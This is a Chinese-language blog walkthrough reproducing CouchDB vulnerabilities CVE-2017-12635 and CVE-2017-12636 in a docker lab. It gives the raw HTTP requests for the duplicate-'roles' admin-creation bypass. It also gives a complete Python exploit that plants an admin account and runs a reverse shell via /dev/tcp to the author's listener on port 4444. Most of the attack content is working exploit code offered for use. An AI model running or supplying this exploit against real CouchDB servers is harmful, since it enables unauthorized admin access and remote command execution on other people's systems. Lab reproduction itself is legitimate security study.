CouchDB未授权访问漏洞

前言

  这个漏洞是我复现最恶心的一个了,不多说了,老规矩,环境搭建地址

环境搭建

service docker start # 启动docker
cd couchdb/CVE-2017-12636
docker-compose up -d 

垂直权限绕过漏洞(CVE-2017-12635)

  访问http://ip:5984/_utils/可以看到web页面,为了确保后面的命令是否有效,先创建一个管理员用户。
  
  点击fix this后,创建管理员账号,用户名和密码都是admin
  
  创建完成后,点击logout退出登录
  
  这时候点击左上角的_users,会弹出只有管理员才有权限查看
  
  开启burpsuite,发送以下数据包后

PUT /_users/org.couchdb.user:vulhub HTTP/1.1
Host: 192.168.127.132:5984
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/json
Content-Length: 92

{
  "type": "user",
  "name": "vulhub",
  "roles": ["_admin"],
  "password": "vulhub"
}

  返回只有管理员才能设置Role角色
  
  发送包含两个roles的数据包,即可绕过限制

PUT /_users/org.couchdb.user:vulhub HTTP/1.1
Host: 192.168.127.132:5984
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/json
Content-Length: 108

{
  "type": "user",
  "name": "vulhub",
  "roles": ["_admin"],
  "roles": [],
  "password": "vulhub"
}

  成功创建了用户名和密码均为:vulhub的管理员账户
  
  回到couchdb管理面板,点击右下角的login,输入账户密码vulhub,可成功登陆
  

任意命令执行(CVE-2017-12636)

  在这里跟这vulhub的复现没有成功,后来使用exp才成功的,感兴趣的可以直接去看vulhub的步骤,地址,这里讲exp的使用。
  贴出exp

#!/usr/bin/env python3
import requests
import json
import base64
from requests.auth import HTTPBasicAuth

target = 'http://192.168.127.132:5984'	# 靶机ip地址
# 反弹shell的ip地址和端口号,我这里反弹shell的ip为192.168.2.168 端口号为4444
command = rb"""sh -i >& /dev/tcp/192.168.2.168/4444 0>&1"""

# 访问http://ip:5984/ 查询版本
# couchdb版本=1.6.0 version=1 
# couchdb版本=2.1.0 version=2

version = 1

session = requests.session()
session.headers = {
    'Content-Type': 'application/json'
}
# session.proxies = {
#     'http': 'http://127.0.0.1:8085'
# }
session.put(target + '/_users/org.couchdb.user:wooyun', data='''{
  "type": "user",
  "name": "wooyun",
  "roles": ["_admin"],
  "roles": [],
  "password": "wooyun"
}''')

session.auth = HTTPBasicAuth('wooyun', 'wooyun')

command = "bash -c '{echo,%s}|{base64,-d}|{bash,-i}'" % base64.b64encode(command).decode()
if version == 1:
    session.put(target + ('/_config/query_servers/cmd'), data=json.dumps(command))
else:
    host = session.get(target + '/_membership').json()['all_nodes'][0]
    session.put(target + '/_node/{}/_config/query_servers/cmd'.format(host), data=json.dumps(command))

session.put(target + '/wooyun')
session.put(target + '/wooyun/test', data='{"_id": "wooyuntest"}')

if version == 1:
    session.post(target + '/wooyun/_temp_view?limit=10', data='{"language":"cmd","map":""}')
else:
    session.put(target + '/wooyun/_design/test', data='{"_id":"_design/test","views":{"wooyun":{"map":""} },"language":"cmd"}')

  nc -lvp 4444,开启监听4444端口
  
  python3 exp.py后,成功反弹了shell
  

查看评论 -
评论